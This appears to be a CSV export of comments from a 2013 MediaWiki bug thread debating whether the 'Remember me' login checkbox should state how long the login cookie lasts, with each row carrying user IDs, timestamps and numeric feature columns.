229378,"""Remember me"" on Login interface should state duration","This request for a handful more characters on login seems quite straightforward; 4 months later, can we proceed or are fingers still heated?",,,1376217740,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,2,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,8.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.538461538461538,1.0,"This request for a handful more characters on login seems quite straightforward; 4 months later, can we proceed or are fingers still heated?"
229372,"""Remember me"" on Login interface should state duration","**Thehelpfulonewiki** wrote:

(In reply to comment #20)

> Thehelpfulone: is your goal to have the _default_ message value include the
> ""$1"" variable that's substituted with the value of $wgCookieExpiration or is
> your goal simply to have this functionality available on a per-wiki basis?

Yes, I think it'd be a good idea to include this as default on all wikis,  to match existing behaviour and for consistency (it doesn't add too much extra to the   new interface in my opinion). Perhaps we could just upstream your change to MediaWiki:Userlogin-remembermypassword?",,,1367098671,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,False,,,-18,True,2.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,4.0,0.0,6.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,2.0,1.0,2.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,2.0,1.0,12.0,0.0,1.0,5.0,0.0,0.0,0.0,1.0,7.0,1.0,1.0,0.0,7.0,12.0,7.0,1.0,0.0,0.0,7.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.7195121951219514,0.7926829268292683,"**Thehelpfulonewiki** wrote:

(In reply to comment #20)

QUOTE
QUOTE
QUOTE

Yes, I think it'd be a good idea to include this as default on all wikis,  to match existing behaviour and for consistency (it doesn't add too much extra to the   new interface in my opinion). Perhaps we could just upstream your change to MediaWiki:Userlogin-remembermypassword?"
229367,"""Remember me"" on Login interface should state duration","(In reply to comment #19)
> What's worse is that if we move forward without proper support for this
> functionality (using a ""$1"" variable), local wikis _will_ in fact hardcode
> the cookie expiration in their MediaWiki messages (as they did previously).

Never mind! It seems that your concern about additional code complexity was so farfetched that someone already implemented ""$1"" variable support in this new MediaWiki message. You can see it in action here: <https://test.wikipedia.org/wiki/Special:UserLogin?useNew=1>. It uses this message: <https://test.wikipedia.org/wiki/MediaWiki:Userlogin-remembermypassword>.

Thehelpfulone: is your goal to have the _default_ message value include the ""$1"" variable that's substituted with the value of $wgCookieExpiration or is your goal simply to have this functionality available on a per-wiki basis?",,,1367098128,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,True,,,-18,True,0.0,0.5,0.0,0.0,0.0,4.0,2.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.5,2.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,5.0,0.5,2.0,1.0,3.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.5,14.5,0.0,2.5,1.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,3.5,2.5,7.5,1.0,1.0,7.0,0.0,0.0,0.5,0.5,3.5,0.0,2.0,0.0,4.5,9.0,2.0,1.0,3.0,0.0,4.5,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.5,3.963636363636364,0.8,"(In reply to comment #19)
QUOTE
QUOTE
QUOTE

Never mind! It seems that your concern about additional code complexity was so farfetched that someone already implemented ""$1"" variable support in this new MediaWiki message. You can see it in action here: <URL It uses this message: <URL

Thehelpfulone: is your goal to have the _default_ message value include the ""$1"" variable that's substituted with the value of $wgCookieExpiration or is your goal simply to have this functionality available on a per-wiki basis?"
229361,"""Remember me"" on Login interface should state duration","(In reply to comment #12)
> Especially since the time element may change in the future or be configured
> differently by third party users, this is the simplest thing that works for
> all without adding complexity. 

I personally think your use of weasel wording here is pretty nasty and uncalled for. You know that this problem was already solved in the previous login form (the one that you and your team are attempting to replace) by using a ""$1"" variable in the MediaWiki message that was substituted with the value of $wgCookieExpiration. And if somehow you managed to redesign this form without knowing that, I said as much in comment 7 of this bug.

You can make your point about interface simplicity without being intentionally misleading or constructing false implementation obstacles.

What's worse is that if we move forward without proper support for this functionality (using a ""$1"" variable), local wikis _will_ in fact hardcode the cookie expiration in their MediaWiki messages (as they did previously).",,,1367097590,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,True,,,-18,True,0.5,0.0,0.0,1.0,0.0,4.5,1.5,0.0,0.0,1.0,4.5,0.0,0.0,0.0,0.0,1.5,1.0,5.5,14.0,0.0,1.5,0.0,0.0,0.0,2.5,0.5,0.0,0.0,0.5,0.5,0.0,4.0,1.5,0.0,2.0,3.5,0.0,0.0,1.0,0.5,0.0,1.0,0.5,3.0,0.0,0.0,0.5,0.5,0.5,14.0,0.5,3.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.5,0.5,0.0,0.5,0.5,0.5,0.0,3.5,3.0,6.5,3.0,2.0,6.0,0.0,0.0,0.0,0.5,3.0,0.0,2.5,0.0,6.5,14.0,2.0,0.0,2.0,0.0,6.5,0.0,1.5,1.0,0.0,3.0,0.5,0.0,0.0,4.205882352941177,0.7764705882352941,"(In reply to comment #12)
QUOTE
QUOTE
QUOTE

I personally think your use of weasel wording here is pretty nasty and uncalled for. You know that this problem was already solved in the previous login form (the one that you and your team are attempting to replace) by using a ""$1"" variable in the MediaWiki message that was substituted with the value of $wgCookieExpiration. And if somehow you managed to redesign this form without knowing that, I said as much in comment 7 of this bug.

You can make your point about interface simplicity without being intentionally misleading or constructing false implementation obstacles.

What's worse is that if we move forward without proper support for this functionality (using a ""$1"" variable), local wikis _will_ in fact hardcode the cookie expiration in their MediaWiki messages (as they did previously)."
229357,"""Remember me"" on Login interface should state duration",Related URL: https://gerrit.wikimedia.org/r/61168 (Gerrit Change I7cfa4bb36368277a934144c1724ec437c426eacf),,,1367038889,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I7cfa4bb36368277a934144c1724ec437c426eacf)
229354,"""Remember me"" on Login interface should state duration","**mwalker** wrote:

(In reply to comment #15)
> ""Keep me logged in"" satisfies this need.

Keep me logged in implies perpetuity. Which is what triggers the confusion when someone is logged out.

Look at a service like Gmail -- initially it says ""keep me logged in"" because it will. But if you have two factor auth; it then gives you a new form that specifically says ""Remember this computer for 30 days.""

The expectations are completely different and we should be managing that.",,,1367011759,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,False,,,-18,True,0.0,1.0,1.0,1.0,0.0,2.0,1.0,1.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,10.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,10.0,2.0,3.0,5.0,2.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,9.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,4.0,9.0,3.0,2.0,7.0,0.0,0.0,0.0,1.0,6.0,0.0,3.0,0.0,8.0,10.0,1.0,0.0,4.0,0.0,8.0,0.0,4.0,2.0,2.0,1.0,0.0,0.0,0.0,3.7474747474747474,0.7575757575757576,"**mwalker** wrote:

(In reply to comment #15)
QUOTE

Keep me logged in implies perpetuity. Which is what triggers the confusion when someone is logged out.

Look at a service like Gmail -- initially it says ""keep me logged in"" because it will. But if you have two factor auth; it then gives you a new form that specifically says ""Remember this computer for 30 days.""

The expectations are completely different and we should be managing that."
229349,"""Remember me"" on Login interface should state duration","(In reply to comment #15)
> ""Keep me logged in"" satisfies this need.

It only keeps one logged in for $wgCookieExpiration. It should specify that it lasts for $wgCookieExpiration - for instance by saying ""Keep me logged in for 30 days"" instead.",,,1367011135,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,22.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,9.0,0.0,9.0,22.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,3.8043478260869565,0.782608695652174,"(In reply to comment #15)
QUOTE

It only keeps one logged in for $wgCookieExpiration. It should specify that it lasts for $wgCookieExpiration - for instance by saying ""Keep me logged in for 30 days"" instead."
229344,"""Remember me"" on Login interface should state duration","**swalling** wrote:

(In reply to comment #14)
> (In reply to comment #12)
> > Our primary standard is for inclusion is, ""Is this actually necessary to log
> > in?"". Obviously the answer for this entire element is ""No"". Thus we'd be
> 
> I would argue the opposite -- a user who was logged in, but is now logged out
> will be asking ""Why am I logged out?"" which leads to the ""Why am I being
> required to log in?"" - a question the system should be prepared to answer.

""Keep me logged in"" satisfies this need.",,,1367010817,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,2.0,7.0,15.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.902439024390244,0.5853658536585366,"**swalling** wrote:

(In reply to comment #14)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

""Keep me logged in"" satisfies this need."
229337,"""Remember me"" on Login interface should state duration","**mwalker** wrote:

(In reply to comment #12)
> Our primary standard is for inclusion is, ""Is this actually necessary to log
> in?"". Obviously the answer for this entire element is ""No"". Thus we'd be

I would argue the opposite -- a user who was logged in, but is now logged out will be asking ""Why am I logged out?"" which leads to the ""Why am I being required to log in?"" - a question the system should be prepared to answer.",,,1367010735,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,13.0,0.0,4.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,1.0,5.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,7.0,9.0,11.0,3.0,1.0,8.0,0.0,0.0,0.0,1.0,9.0,0.0,1.0,0.0,4.0,13.0,0.0,3.0,5.0,0.0,4.0,0.0,5.0,3.0,0.0,1.0,0.0,0.0,0.0,3.0657894736842106,0.6710526315789473,"**mwalker** wrote:

(In reply to comment #12)
QUOTE
QUOTE

I would argue the opposite -- a user who was logged in, but is now logged out will be asking ""Why am I logged out?"" which leads to the ""Why am I being required to log in?"" - a question the system should be prepared to answer."
229332,"""Remember me"" on Login interface should state duration","Would you say that ""Keep me logged in for 30 days"" is hugely disadvantageous? It's short, to the point, and should be immediately clear what it does.",,,1367010559,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,12.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,6.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,9.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,12.0,12.0,0.0,3.0,6.0,0.0,12.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.6176470588235294,0.9411764705882353,"Would you say that ""Keep me logged in for 30 days"" is hugely disadvantageous? It's short, to the point, and should be immediately clear what it does."
229327,"""Remember me"" on Login interface should state duration","**swalling** wrote:

(In reply to comment #11)
> Most other sites may not say how long sessions last, but that does not make
> the
> information not useful when it indeed is a finite session - a reason to not
> say
> how long it lasts, for instance, would be if it weren't a finite session,
> such
> as where the cookie automatically renews on each visit - which may indeed be
> the case for those other sites mentioned, but it is not case with mediawiki.
> 
> So while not specifying the session time saves space, that space would not be
> otherwise wasted. Users tend to feel more comfortable with a system if they
> have a good mental model of it, and that means not being surprised - and
> suddenly finding oneself logged out is a pretty significant surprise. Just
> telling them from the start that the session only lasts so long helps avoid
> that surprise, and the note isn't a significant burden on the UI.

More information is not always an advantage, and short, simple messages provide a huge advantage to all users in reducing cognitive load when dealing with an interface of any sort. 

Our primary standard is for inclusion is, ""Is this actually necessary to log in?"". Obviously the answer for this entire element is ""No"". Thus we'd be adding complexity with a nice-to-have time description on a feature that's already a nice-to-have. Especially since the time element may change in the future or be configured differently by third party users, this is the simplest thing that works for all without adding complexity. 

I know the Wikimedian instinct is always to be 100% precise in all descriptions of things. I often have the same pull myself, but that's not always a good thing for interface design.",,,1367009626,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,False,,,-18,True,1.6666666666666667,0.0,0.0,0.3333333333333333,0.6666666666666666,6.333333333333333,1.6666666666666667,0.0,0.0,0.0,2.3333333333333335,0.3333333333333333,0.0,0.0,0.0,2.0,0.0,5.666666666666667,9.0,0.0,1.6666666666666667,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,5.333333333333333,0.3333333333333333,0.0,1.6666666666666667,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,10.666666666666666,1.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,1.0,0.0,5.333333333333333,4.0,9.0,0.6666666666666666,1.3333333333333333,8.0,0.0,0.0,0.0,0.3333333333333333,3.0,0.3333333333333333,0.6666666666666666,0.0,2.0,9.0,4.666666666666667,0.3333333333333333,1.3333333333333333,0.0,2.0,0.0,1.0,2.3333333333333335,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,3.7928906773977196,0.6642521797451374,"**swalling** wrote:

(In reply to comment #11)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

More information is not always an advantage, and short, simple messages provide a huge advantage to all users in reducing cognitive load when dealing with an interface of any sort. 

Our primary standard is for inclusion is, ""Is this actually necessary to log in?"". Obviously the answer for this entire element is ""No"". Thus we'd be adding complexity with a nice-to-have time description on a feature that's already a nice-to-have. Especially since the time element may change in the future or be configured differently by third party users, this is the simplest thing that works for all without adding complexity. 

I know the Wikimedian instinct is always to be 100% precise in all descriptions of things. I often have the same pull myself, but that's not always a good thing for interface design."
229321,"""Remember me"" on Login interface should state duration","Most other sites may not say how long sessions last, but that does not make the information not useful when it indeed is a finite session - a reason to not say how long it lasts, for instance, would be if it weren't a finite session, such as where the cookie automatically renews on each visit - which may indeed be the case for those other sites mentioned, but it is not case with mediawiki.

So while not specifying the session time saves space, that space would not be otherwise wasted. Users tend to feel more comfortable with a system if they have a good mental model of it, and that means not being surprised - and suddenly finding oneself logged out is a pretty significant surprise. Just telling them from the start that the session only lasts so long helps avoid that surprise, and the note isn't a significant burden on the UI.",,,1367009222,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,False,,,-18,True,0.5,0.0,0.0,0.5,5.5,7.5,4.0,0.0,0.0,1.0,1.0,1.0,0.0,0.5,0.0,0.0,0.5,14.5,8.0,0.0,1.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,7.5,3.0,2.5,1.5,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.5,0.5,0.0,0.0,10.5,1.0,1.5,0.5,1.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.5,0.5,0.5,0.5,0.0,1.0,8.5,5.0,3.0,3.5,3.0,12.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,4.5,8.0,1.5,0.0,0.0,0.0,4.5,0.0,3.0,4.0,0.5,2.0,0.5,0.5,0.0,4.054481792717087,0.686624649859944,"Most other sites may not say how long sessions last, but that does not make the information not useful when it indeed is a finite session - a reason to not say how long it lasts, for instance, would be if it weren't a finite session, such as where the cookie automatically renews on each visit - which may indeed be the case for those other sites mentioned, but it is not case with mediawiki.

So while not specifying the session time saves space, that space would not be otherwise wasted. Users tend to feel more comfortable with a system if they have a good mental model of it, and that means not being surprised - and suddenly finding oneself logged out is a pretty significant surprise. Just telling them from the start that the session only lasts so long helps avoid that surprise, and the note isn't a significant burden on the UI."
229316,"""Remember me"" on Login interface should state duration","**swalling** wrote:

(In reply to comment #6)
> I don't believe there is a legal or policy requirement for this - the mention
> in the privacy policy should be sufficient (assuming, of course, that the two
> numbers match, which I believe they do now).

Okay, since there is no legal requirement to be loquacious about this, I'm going to say that we're not going to. We took this out intentionally because it's overly wordy, and doesn't substantially make it easier to make a decision about whether you want to stay logged in. The length of login persistence may change in the future with revisions to the privacy policy etc., and other versions where it was ""180 days"" were obtuse. 

I think Derk-Jan's suggestion for a wording change is a good one, I'll make sure that happens.",,,1367007358,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,0.0,1.0,5.0,2.0,0.5,0.0,0.0,2.0,2.0,0.0,0.0,0.5,3.0,0.0,3.0,12.0,0.0,3.0,0.0,0.5,0.0,2.0,0.0,0.0,0.0,0.5,0.5,0.0,5.5,0.5,1.5,2.0,0.5,0.0,0.0,1.0,0.0,0.5,0.0,0.0,3.5,0.0,1.0,0.0,0.0,0.5,9.5,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,4.5,3.0,7.0,3.0,1.0,6.5,0.0,0.0,0.0,0.5,5.0,0.5,1.0,0.0,5.5,12.0,2.5,0.0,1.5,0.0,5.5,0.0,0.5,2.0,0.0,1.0,0.5,0.0,1.5,3.6323529411764706,0.7794117647058824,"**swalling** wrote:

(In reply to comment #6)
QUOTE
QUOTE
QUOTE

Okay, since there is no legal requirement to be loquacious about this, I'm going to say that we're not going to. We took this out intentionally because it's overly wordy, and doesn't substantially make it easier to make a decision about whether you want to stay logged in. The length of login persistence may change in the future with revisions to the privacy policy etc., and other versions where it was ""180 days"" were obtuse. 

I think Derk-Jan's suggestion for a wording change is a good one, I'll make sure that happens."
229311,"""Remember me"" on Login interface should state duration","**swalling** wrote:

(In reply to comment #8)
> Slightly related btw; I like ""Stay signed in"" and ""Keep me logged in"" better
> than ""Remember me"". It's not just remembering you, it's also remembering your
> session. There is a difference. I find the FB and Google descriptions more
> descriptive and they are not too difficult for ppl I think.

I think ""Keep me logged in"" is a viable option. Simple, obvious.",,,1366998043,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,20.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,5.0,7.0,10.0,0.0,5.0,0.0,5.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.902439024390244,0.7073170731707317,"**swalling** wrote:

(In reply to comment #8)
QUOTE
QUOTE
QUOTE
QUOTE

I think ""Keep me logged in"" is a viable option. Simple, obvious."
229307,"""Remember me"" on Login interface should state duration","Slightly related btw; I like ""Stay signed in"" and ""Keep me logged in"" better than ""Remember me"". It's not just remembering you, it's also remembering your session. There is a difference. I find the FB and Google descriptions more descriptive and they are not too difficult for ppl I think.",,,1366969570,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,2.0,8.0,3.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,8.0,3.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,3.0,3.0,17.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,16.0,6.0,3.0,0.0,9.0,0.0,16.0,0.0,0.0,2.0,3.0,3.0,3.0,0.0,0.0,3.75,0.734375,"Slightly related btw; I like ""Stay signed in"" and ""Keep me logged in"" better than ""Remember me"". It's not just remembering you, it's also remembering your session. There is a difference. I find the FB and Google descriptions more descriptive and they are not too difficult for ppl I think."
229303,"""Remember me"" on Login interface should state duration","For the history here, I originally added the duration on the English Wikipedia. Other wikis followed and eventually the feature was integrated into MediaWiki core (where $1 could be used within the ""Remembermypassword"" MediaWiki message to output the value of $wgCookieExpiration).",,,1366938676,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,True,,,-18,True,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,12.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,16.0,2.0,2.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,2.0,12.0,10.0,0.0,4.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.82,0.82,"For the history here, I originally added the duration on the English Wikipedia. Other wikis followed and eventually the feature was integrated into MediaWiki core (where $1 could be used within the ""Remembermypassword"" MediaWiki message to output the value of $wgCookieExpiration)."
229297,"""Remember me"" on Login interface should state duration","I don't believe there is a legal or policy requirement for this - the mention in the privacy policy should be sufficient (assuming, of course, that the two numbers match, which I believe they do now).",,,1366938407,,PHID-USER-kqwh3rvfxxh3wfsft7mu,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,5.0,0.0,5.0,9.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,7.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,5.0,0.0,2.0,0.0,0.0,2.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,9.0,5.0,5.0,2.0,2.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.8372093023255816,0.813953488372093,"I don't believe there is a legal or policy requirement for this - the mention in the privacy policy should be sufficient (assuming, of course, that the two numbers match, which I believe they do now)."
229292,"""Remember me"" on Login interface should state duration","(In reply to comment #4)
> (In reply to comment #3)
> > If we show it, it should be based on the actual configuration.  But I'm not
> > convinced this is necessary.  It's information on the page that might not
> > need
> > to be there.
> 
> I'm not sure if there are legal reasons we show it, per the privacy policy at
> <https://wikimediafoundation.org/wiki/Privacy_policy#Cookies>. Perhaps
> something to confirm with LCA?

CCed Luis Villa.  If they don't respond, my feeling is the ""Privacy policy"" link on every page footer is sufficient.

> > If you don't feel comfortable with long-term cookies, you don't have to check
> > it.  The exact time period is not strictly necessary to make this call.
> > 
> > Are there other sites that show the time period for this?
> 
> Hmm, do other top sites set expiring cookies for login?

I don't know the exact behavior, but for example Google (""Stay signed in""), Facebook (""Keep me logged in""), and Twitter (""Remember me"") all have such a checkbox on log in, and none say the time period.",,,1366937106,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,False,,,-18,True,1.5,0.0,0.0,0.0,1.5,1.5,1.0,0.0,0.0,0.5,3.0,1.5,0.0,0.0,0.0,3.0,0.0,1.5,6.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,2.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,11.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,3.0,1.0,17.5,0.5,2.5,5.0,0.0,0.0,0.0,0.5,4.5,0.0,0.5,0.0,3.5,6.0,10.0,0.0,6.0,0.0,3.5,0.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,3.123633879781421,0.6202185792349726,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
